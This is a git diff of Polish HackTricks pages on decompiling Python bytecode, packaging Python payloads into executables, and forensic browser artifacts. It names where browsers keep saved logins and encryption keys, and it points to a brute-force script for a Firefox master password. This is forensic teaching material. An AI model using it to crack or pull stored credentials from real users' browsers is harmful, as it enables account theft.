Jeśli nie udało Ci się wyodrębnić "oryginalnego" kodu Pythona, postępując zgodnie z poprzednimi krokami, możesz spróbować **wyodrębnić** **asembler** (ale **nie jest to zbyt opisowe**, więc **spróbuj** ponownie wyodrębnić **oryginalny** kod). W [tutaj](https://bits.theorem.co/protecting-a-python-codebase/) znalazłem bardzo prosty kod do **deasemblacji** binarnego pliku _.pyc_ (powodzenia w zrozumieniu przepływu kodu). Jeśli _.pyc_ pochodzi z python2, użyj python2:
|
||||
```bash
|
||||
>>> import dis
|
||||
>>> import marshal
|
||||
|
@ -159,15 +160,15 @@ True
|
|||
14 LOAD_CONST 0 (None)
|
||||
17 RETURN_VALUE
|
||||
```
|
||||
## Python na plik wykonywalny
|
||||
## Python na Wykonywalny
|
||||
|
||||
Aby rozpocząć, pokażemy Ci, jak ładunki mogą być skompilowane za pomocą py2exe i PyInstaller.
|
||||
Aby zacząć, pokażemy, jak ładunki mogą być kompilowane w py2exe i PyInstaller.
|
||||
|
||||
### Aby utworzyć ładunek za pomocą py2exe:
|
||||
### Aby stworzyć ładunek za pomocą py2exe:
|
||||
|
||||
1. Zainstaluj pakiet py2exe z [http://www.py2exe.org/](http://www.py2exe.org)
|
||||
2. Dla ładunku (w tym przypadku nazwiemy go hello.py), użyj skryptu podobnego do tego z Rysunku 1. Opcja "bundle\_files" z wartością 1 spowoduje, że wszystko, włącznie z interpreterem Pythona, zostanie spakowane w jedno exe.
|
||||
3. Gdy skrypt jest gotowy, wydamy polecenie "python setup.py py2exe". Spowoduje to utworzenie pliku wykonywalnego, tak jak w Rysunku 2.
|
||||
2. Dla ładunku (w tym przypadku nazwiemy go hello.py), użyj skryptu jak w Rysunku 1. Opcja “bundle\_files” z wartością 1 połączy wszystko, w tym interpreter Pythona, w jeden plik exe.
|
||||
3. Gdy skrypt będzie gotowy, wydamy polecenie “python setup.py py2exe”. To stworzy plik wykonywalny, tak jak w Rysunku 2.
|
||||
```python
|
||||
from distutils.core import setup
|
||||
import py2exe, sys, os
|
||||
|
@ -195,10 +196,10 @@ running py2exe
|
|||
copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
|
||||
Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
|
||||
```
|
||||
### Aby utworzyć ładunek za pomocą PyInstaller:
|
||||
### Aby stworzyć ładunek za pomocą PyInstaller:
|
||||
|
||||
1. Zainstaluj PyInstaller za pomocą pip (pip install pyinstaller).
|
||||
2. Następnie wydajemy polecenie „pyinstaller --onefile hello.py” (przypomnijmy, że „hello.py” to nasz ładunek). Spowoduje to spakowanie wszystkiego w jedno wykonywalne plik.
|
||||
2. Następnie wydamy polecenie “pyinstaller –onefile hello.py” (przypomnienie, że ‘hello.py’ to nasz ładunek). To połączy wszystko w jeden plik wykonywalny.
|
||||
```
|
||||
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
||||
108 INFO: PyInstaller: 3.3.1
|
||||
|
@ -211,26 +212,27 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
|||
5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe
|
||||
6325 INFO: Building EXE from out00-EXE.toc completed successfully.
|
||||
```
|
||||
## Odnośniki
|
||||
## References
|
||||
|
||||
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Wskazówka dotycząca nagrody za błąd**: **Zarejestruj się** na platformie do **nagród za błędy Intigriti**, stworzonej przez hakerów dla hakerów! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**!
|
||||
**Bug bounty tip**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,44 +1,45 @@
|
|||
# Artefakty przeglądarek
|
||||
# Browser Artifacts
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować przepływy pracy** z wykorzystaniem najbardziej **zaawansowanych narzędzi społecznościowych** na świecie.\
|
||||
Zdobądź dostęp już dziś:
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Artefakty przeglądarek <a href="#id-3def" id="id-3def"></a>
|
||||
## Browsers Artifacts <a href="#id-3def" id="id-3def"></a>
|
||||
|
||||
Artefakty przeglądarek obejmują różne rodzaje danych przechowywanych przez przeglądarki internetowe, takie jak historia nawigacji, zakładki i dane pamięci podręcznej. Te artefakty są przechowywane w określonych folderach w systemie operacyjnym, różniących się pod względem lokalizacji i nazwy w zależności od przeglądarki, ale zazwyczaj przechowujących podobne rodzaje danych.
|
||||
Browser artifacts include various types of data stored by web browsers, such as navigation history, bookmarks, and cache data. These artifacts are kept in specific folders within the operating system, differing in location and name across browsers, yet generally storing similar data types.
|
||||
|
||||
Oto podsumowanie najczęstszych artefaktów przeglądarek:
|
||||
Here's a summary of the most common browser artifacts:
|
||||
|
||||
* **Historia nawigacji**: Śledzi wizyty użytkownika na stronach internetowych, przydatna do identyfikacji wizyt na złośliwych stronach.
|
||||
* **Dane autouzupełniania**: Sugestie oparte na częstych wyszukiwaniach, oferujące wgląd, gdy są połączone z historią nawigacji.
|
||||
* **Historia przeglądania**: Śledzi wizyty użytkownika na stronach internetowych, przydatne do identyfikacji wizyt na złośliwych stronach.
|
||||
* **Dane autouzupełniania**: Sugestie oparte na częstych wyszukiwaniach, oferujące wgląd w połączeniu z historią przeglądania.
|
||||
* **Zakładki**: Strony zapisane przez użytkownika dla szybkiego dostępu.
|
||||
* **Rozszerzenia i dodatki**: Rozszerzenia przeglądarki lub dodatki zainstalowane przez użytkownika.
|
||||
* **Pamięć podręczna**: Przechowuje treści internetowe (np. obrazy, pliki JavaScript) w celu poprawy czasów ładowania strony, wartościowa do analizy sądowej.
|
||||
* **Logowania**: Przechowywane dane logowania.
|
||||
* **Favicons**: Ikony związane z witrynami, pojawiające się w kartach i zakładkach, przydatne do uzyskania dodatkowych informacji o wizytach użytkownika.
|
||||
* **Pamięć podręczna**: Przechowuje treści internetowe (np. obrazy, pliki JavaScript) w celu poprawy czasu ładowania stron, cenne dla analizy kryminalistycznej.
|
||||
* **Loginy**: Przechowywane dane logowania.
|
||||
* **Favikony**: Ikony związane ze stronami internetowymi, pojawiające się na kartach i w zakładkach, przydatne do dodatkowych informacji o wizytach użytkownika.
|
||||
* **Sesje przeglądarki**: Dane związane z otwartymi sesjami przeglądarki.
|
||||
* **Pobrania**: Rejestry plików pobranych za pomocą przeglądarki.
|
||||
* **Dane formularza**: Informacje wprowadzone w formularzach internetowych, zapisane do przyszłych sugestii autouzupełniania.
|
||||
* **Miniatury**: Podglądy stron internetowych.
|
||||
* **Pobrania**: Rejestry plików pobranych przez przeglądarkę.
|
||||
* **Dane formularzy**: Informacje wprowadzone w formularzach internetowych, zapisywane dla przyszłych sugestii autouzupełniania.
|
||||
* **Miniatury**: Obrazy podglądowe stron internetowych.
|
||||
* **Custom Dictionary.txt**: Słowa dodane przez użytkownika do słownika przeglądarki.
|
||||
|
||||
## Firefox
|
||||
|
@ -49,30 +50,30 @@ Firefox organizuje dane użytkownika w profilach, przechowywanych w określonych
|
|||
* **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
|
||||
* **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
|
||||
|
||||
Plik `profiles.ini` w tych katalogach wymienia profile użytkownika. Dane każdego profilu są przechowywane w folderze o nazwie zmiennych `Path` w `profiles.ini`, znajdującym się w tym samym katalogu co `profiles.ini`. Jeśli brakuje folderu profilu, może on zostać usunięty.
|
||||
Plik `profiles.ini` w tych katalogach zawiera listę profili użytkowników. Dane każdego profilu są przechowywane w folderze nazwanym w zmiennej `Path` w `profiles.ini`, znajdującym się w tym samym katalogu co `profiles.ini`. Jeśli folder profilu jest brakujący, mógł zostać usunięty.
|
||||
|
||||
W każdym folderze profilu można znaleźć kilka ważnych plików:
|
||||
|
||||
* **places.sqlite**: Przechowuje historię, zakładki i pobrania. Narzędzia takie jak [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) w systemie Windows mogą uzyskać dostęp do danych historycznych.
|
||||
* Użyj konkretnych zapytań SQL do wyodrębnienia informacji o historii i pobranych plikach.
|
||||
* **places.sqlite**: Przechowuje historię, zakładki i pobrania. Narzędzia takie jak [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) na Windows mogą uzyskać dostęp do danych historii.
|
||||
* Użyj specyficznych zapytań SQL, aby wyodrębnić informacje o historii i pobraniach.
|
||||
* **bookmarkbackups**: Zawiera kopie zapasowe zakładek.
|
||||
* **formhistory.sqlite**: Przechowuje dane formularzy internetowych.
|
||||
* **handlers.json**: Zarządza obsługą protokołów.
|
||||
* **persdict.dat**: Słowa z niestandardowego słownika.
|
||||
* **persdict.dat**: Słowa ze słownika użytkownika.
|
||||
* **addons.json** i **extensions.sqlite**: Informacje o zainstalowanych dodatkach i rozszerzeniach.
|
||||
* **cookies.sqlite**: Przechowuje ciasteczka, z [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) dostępnym do inspekcji w systemie Windows.
|
||||
* **cookies.sqlite**: Przechowywanie ciasteczek, z [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) dostępnym do inspekcji na Windows.
|
||||
* **cache2/entries** lub **startupCache**: Dane pamięci podręcznej, dostępne za pomocą narzędzi takich jak [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html).
|
||||
* **favicons.sqlite**: Przechowuje favikony.
|
||||
* **prefs.js**: Ustawienia i preferencje użytkownika.
|
||||
* **downloads.sqlite**: Starsza baza danych pobranych plików, teraz zintegrowana z places.sqlite.
|
||||
* **downloads.sqlite**: Starsza baza danych pobrań, teraz zintegrowana z places.sqlite.
|
||||
* **thumbnails**: Miniatury stron internetowych.
|
||||
* **logins.json**: Zaszyfrowane informacje logowania.
|
||||
* **key4.db** lub **key3.db**: Przechowuje klucze szyfrowania do zabezpieczania poufnych informacji.
|
||||
* **key4.db** lub **key3.db**: Przechowuje klucze szyfrowania dla zabezpieczania wrażliwych informacji.
|
||||
|
||||
Dodatkowo, sprawdzenie ustawień anty-phishing przeglądarki można wykonać, wyszukując wpisy `browser.safebrowsing` w `prefs.js`, wskazujące, czy funkcje bezpiecznego przeglądania są włączone czy wyłączone.
|
||||
Dodatkowo, sprawdzenie ustawień przeglądarki dotyczących ochrony przed phishingiem można przeprowadzić, wyszukując wpisy `browser.safebrowsing` w `prefs.js`, co wskazuje, czy funkcje bezpiecznego przeglądania są włączone czy wyłączone.
|
||||
|
||||
Aby spróbować odszyfrować główne hasło, można skorzystać z [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\
|
||||
Z poniższym skryptem i wywołaniem można określić plik hasła do ataku brutalnej siły:
|
||||
Aby spróbować odszyfrować główne hasło, możesz użyć [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\
|
||||
Za pomocą poniższego skryptu i wywołania możesz określić plik haseł do ataku siłowego:
|
||||
|
||||
{% code title="brute.sh" %}
|
||||
```bash
|
||||
|
@ -91,67 +92,67 @@ done < $passfile
|
|||
|
||||
## Google Chrome
|
||||
|
||||
Google Chrome przechowuje profile użytkownika w określonych lokalizacjach w zależności od systemu operacyjnego:
|
||||
Google Chrome przechowuje profile użytkowników w określonych lokalizacjach w zależności od systemu operacyjnego:
|
||||
|
||||
* **Linux**: `~/.config/google-chrome/`
|
||||
* **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
|
||||
* **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
|
||||
|
||||
W tych katalogach większość danych użytkownika można znaleźć w folderach **Default/** lub **ChromeDefaultData/**. Poniższe pliki przechowują istotne dane:
|
||||
W tych katalogach większość danych użytkownika można znaleźć w folderach **Default/** lub **ChromeDefaultData/**. Następujące pliki zawierają istotne dane:
|
||||
|
||||
* **History**: Zawiera adresy URL, pobrania i słowa kluczowe wyszukiwania. Na systemie Windows można użyć [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) do odczytania historii. Kolumna "Typ przejścia" ma różne znaczenia, w tym kliknięcia użytkownika w linki, wpisane adresy URL, przesłane formularze i przeładowania strony.
|
||||
* **Cookies**: Przechowuje pliki cookie. Do inspekcji dostępne jest narzędzie [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html).
|
||||
* **Cache**: Przechowuje dane w pamięci podręcznej. Użytkownicy systemu Windows mogą skorzystać z [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) do inspekcji.
|
||||
* **Zakładki**: Zakładki użytkownika.
|
||||
* **History**: Zawiera adresy URL, pobrania i słowa kluczowe wyszukiwania. Na Windowsie można użyć [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) do odczytania historii. Kolumna "Transition Type" ma różne znaczenia, w tym kliknięcia użytkownika w linki, wpisane adresy URL, przesyłanie formularzy i przeładowania stron.
|
||||
* **Cookies**: Przechowuje ciasteczka. Do inspekcji dostępne jest [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html).
|
||||
* **Cache**: Przechowuje dane w pamięci podręcznej. Aby sprawdzić, użytkownicy Windows mogą skorzystać z [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html).
|
||||
* **Bookmarks**: Zakładki użytkownika.
|
||||
* **Web Data**: Zawiera historię formularzy.
|
||||
* **Favicons**: Przechowuje ikony stron internetowych.
|
||||
* **Favicons**: Przechowuje favikony stron internetowych.
|
||||
* **Login Data**: Zawiera dane logowania, takie jak nazwy użytkowników i hasła.
|
||||
* **Aktualna sesja**/**Aktualne karty**: Dane dotyczące bieżącej sesji przeglądania i otwartych kart.
|
||||
* **Ostatnia sesja**/**Ostatnie karty**: Informacje o aktywnych stronach podczas ostatniej sesji przed zamknięciem przeglądarki Chrome.
|
||||
* **Rozszerzenia**: Katalogi dla rozszerzeń i dodatków przeglądarki.
|
||||
* **Miniaturki**: Przechowuje miniaturki stron internetowych.
|
||||
* **Preferencje**: Plik bogaty w informacje, zawierający ustawienia dla wtyczek, rozszerzeń, wyskakujących okien, powiadomień i innych.
|
||||
* **Wbudowana ochrona przed phishingiem przeglądarki**: Aby sprawdzić, czy ochrona przed phishingiem i złośliwym oprogramowaniem jest włączona, uruchom polecenie `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Szukaj `{"enabled: true,"}` w wyniku.
|
||||
* **Current Session**/**Current Tabs**: Dane o bieżącej sesji przeglądania i otwartych kartach.
|
||||
* **Last Session**/**Last Tabs**: Informacje o stronach aktywnych podczas ostatniej sesji przed zamknięciem Chrome.
|
||||
* **Extensions**: Katalogi dla rozszerzeń przeglądarki i dodatków.
|
||||
* **Thumbnails**: Przechowuje miniatury stron internetowych.
|
||||
* **Preferences**: Plik bogaty w informacje, w tym ustawienia dla wtyczek, rozszerzeń, okienek pop-up, powiadomień i innych.
|
||||
* **Wbudowana ochrona przed phishingiem przeglądarki**: Aby sprawdzić, czy ochrona przed phishingiem i złośliwym oprogramowaniem jest włączona, uruchom `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Szukaj `{"enabled: true,"}` w wynikach.
|
||||
|
||||
## **Odzyskiwanie danych z bazy danych SQLite**
|
||||
## **Odzyskiwanie danych z bazy SQLite DB**
|
||||
|
||||
Jak można zauważyć w poprzednich sekcjach, zarówno Chrome, jak i Firefox używają baz danych **SQLite** do przechowywania danych. Możliwe jest **odzyskanie usuniętych wpisów za pomocą narzędzia** [**sqlparse**](https://github.com/padfoot999/sqlparse) **lub** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
|
||||
|
||||
## **Internet Explorer 11**
|
||||
|
||||
Internet Explorer 11 zarządza swoimi danymi i metadanymi w różnych lokalizacjach, ułatwiając oddzielenie przechowywanych informacji i odpowiadających im szczegółów dla łatwego dostępu i zarządzania.
|
||||
Internet Explorer 11 zarządza swoimi danymi i metadanymi w różnych lokalizacjach, co ułatwia oddzielanie przechowywanych informacji i ich odpowiadających szczegółów dla łatwego dostępu i zarządzania.
|
||||
|
||||
### Przechowywanie metadanych
|
||||
|
||||
Metadane dla Internet Explorera są przechowywane w `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (gdzie VX to V01, V16 lub V24). Towarzyszący temu plik `V01.log` może wykazywać rozbieżności czasu modyfikacji w porównaniu z `WebcacheVX.data`, co wskazuje na konieczność naprawy za pomocą `esentutl /r V01 /d`. Te metadane, przechowywane w bazie danych ESE, można odzyskać i inspirować za pomocą narzędzi takich jak photorec i [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html). W tabeli **Containers** można rozróżnić konkretne tabele lub kontenery, w których przechowywany jest każdy segment danych, w tym szczegóły pamięci podręcznej dla innych narzędzi Microsoftu, takich jak Skype.
|
||||
Metadane dla Internet Explorera są przechowywane w `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (gdzie VX to V01, V16 lub V24). Wraz z tym plik `V01.log` może pokazywać różnice w czasie modyfikacji w porównaniu do `WebcacheVX.data`, co wskazuje na potrzebę naprawy za pomocą `esentutl /r V01 /d`. Te metadane, przechowywane w bazie danych ESE, można odzyskać i zbadać za pomocą narzędzi takich jak photorec i [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html). W tabeli **Containers** można dostrzec konkretne tabele lub kontenery, w których przechowywany jest każdy segment danych, w tym szczegóły pamięci podręcznej dla innych narzędzi Microsoftu, takich jak Skype.
|
||||
|
||||
### Inspekcja pamięci podręcznej
|
||||
|
||||
Narzędzie [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) umożliwia inspekcję pamięci podręcznej, wymagając lokalizacji folderu z ekstrakcją danych pamięci podręcznej. Metadane pamięci podręcznej obejmują nazwę pliku, katalog, liczbę dostępów, pochodzenie URL i znaczniki czasu wskazujące czasy tworzenia, dostępu, modyfikacji i wygaśnięcia pamięci podręcznej.
|
||||
Narzędzie [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) umożliwia inspekcję pamięci podręcznej, wymagając lokalizacji folderu z danymi pamięci podręcznej. Metadane pamięci podręcznej obejmują nazwę pliku, katalog, liczbę dostępu, pochodzenie URL oraz znaczniki czasu wskazujące czasy utworzenia, dostępu, modyfikacji i wygaśnięcia pamięci podręcznej.
|
||||
|
||||
### Zarządzanie plikami cookie
|
||||
### Zarządzanie ciasteczkami
|
||||
|
||||
Pliki cookie można badać za pomocą [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), a metadane obejmują nazwy, adresy URL, liczby dostępów i różne szczegóły związane z czasem. Trwałe pliki cookie są przechowywane w `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, a pliki sesji w pamięci.
|
||||
Ciasteczka można badać za pomocą [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), a metadane obejmują nazwy, adresy URL, liczby dostępu i różne szczegóły czasowe. Ciasteczka trwałe są przechowywane w `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, a ciasteczka sesyjne znajdują się w pamięci.
|
||||
|
||||
### Szczegóły pobierania
|
||||
|
||||
Metadane pobierania są dostępne za pomocą [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), a konkretne kontenery przechowują dane, takie jak URL, typ pliku i lokalizację pobierania. Fizyczne pliki można znaleźć w `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
|
||||
Metadane pobierania są dostępne za pośrednictwem [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), a konkretne kontenery przechowują dane takie jak URL, typ pliku i lokalizacja pobierania. Fizyczne pliki można znaleźć w `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
|
||||
|
||||
### Historia przeglądania
|
||||
|
||||
Aby przejrzeć historię przeglądania, można użyć [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html), wymagając lokalizacji wyodrębnionych plików historii i konfiguracji dla Internet Explorera. Metadane obejmują czasy modyfikacji i dostępu, wraz z liczbą dostępów. Pliki historii znajdują się w `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
|
||||
Aby przeglądać historię przeglądania, można użyć [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html), wymagając lokalizacji wyodrębnionych plików historii i konfiguracji dla Internet Explorera. Metadane obejmują czasy modyfikacji i dostępu, a także liczby dostępu. Pliki historii znajdują się w `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
|
||||
|
||||
### Wpisywane adresy URL
|
||||
### Wpisane adresy URL
|
||||
|
||||
Wpisywane adresy URL i ich czasy użycia są przechowywane w rejestrze pod `NTUSER.DAT` w `Software\Microsoft\InternetExplorer\TypedURLs` i `Software\Microsoft\InternetExplorer\TypedURLsTime`, śledząc ostatnie 50 adresów URL wprowadzonych przez użytkownika i ich ostatnie czasy wprowadzenia.
|
||||
Wpisane adresy URL i ich czasy użycia są przechowywane w rejestrze pod `NTUSER.DAT` w `Software\Microsoft\InternetExplorer\TypedURLs` i `Software\Microsoft\InternetExplorer\TypedURLsTime`, śledząc ostatnie 50 adresów URL wprowadzonych przez użytkownika i ich ostatnie czasy wprowadzenia.
|
||||
|
||||
## Microsoft Edge
|
||||
|
||||
Microsoft Edge przechowuje dane użytkownika w `%userprofile%\Appdata\Local\Packages`. Ścieżki do różnych typów danych to:
|
||||
Microsoft Edge przechowuje dane użytkownika w `%userprofile%\Appdata\Local\Packages`. Ścieżki dla różnych typów danych to:
|
||||
|
||||
* **Ścieżka profilu**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
|
||||
* **Historia, pliki cookie i pobrania**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
|
||||
* **Ustawienia, zakładki i lista czytania**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
|
||||
* **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
|
||||
* **Historia, Ciasteczka i Pobrania**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
|
||||
* **Ustawienia, Zakładki i Lista do przeczytania**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
|
||||
* **Pamięć podręczna**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
|
||||
* **Ostatnie aktywne sesje**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
|
||||
|
||||
|
@ -159,47 +160,49 @@ Microsoft Edge przechowuje dane użytkownika w `%userprofile%\Appdata\Local\Pack
|
|||
|
||||
Dane Safari są przechowywane w `/Users/$User/Library/Safari`. Kluczowe pliki to:
|
||||
|
||||
* **History.db**: Zawiera tabele `history_visits` i `history_items` z adresami URL i znacznikami czasu wizyt. Użyj `sqlite3` do zapytań.
|
||||
* **History.db**: Zawiera tabele `history_visits` i `history_items` z adresami URL i znacznikami czasu wizyt. Użyj `sqlite3`, aby zapytać.
|
||||
* **Downloads.plist**: Informacje o pobranych plikach.
|
||||
* **Bookmarks.plist**: Przechowuje adresy URL zakładek.
|
||||
* **Bookmarks.plist**: Przechowuje zakładkowane adresy URL.
|
||||
* **TopSites.plist**: Najczęściej odwiedzane strony.
|
||||
